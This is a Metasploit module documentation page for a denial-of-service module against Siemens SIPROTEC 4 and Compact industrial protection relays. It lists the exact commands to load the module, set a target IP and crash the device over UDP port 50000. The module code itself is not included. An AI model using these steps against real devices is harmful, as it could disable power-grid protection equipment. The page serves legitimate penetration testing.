## Metasploit Module

This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected device. A manual reboot is required to return the device to service. 
## Verification Steps

  1. Do: ```use auxiliary/dos/scada/siemens_siprotec4```
  2. Do: ```set RHOST [Target IP]```, replacing ```[Target IP]``` with the IP address you wish to attack.
  3. Do: ```run```
  4. If the Siemens SIPROTEC 4 or Compact device has one of the vulnerable versions, it will immediately crash.

## Options

  ```set RHOST [Target IP]```, ```set RPORT [Target Port (Default 50000)]```.

## Scenarios
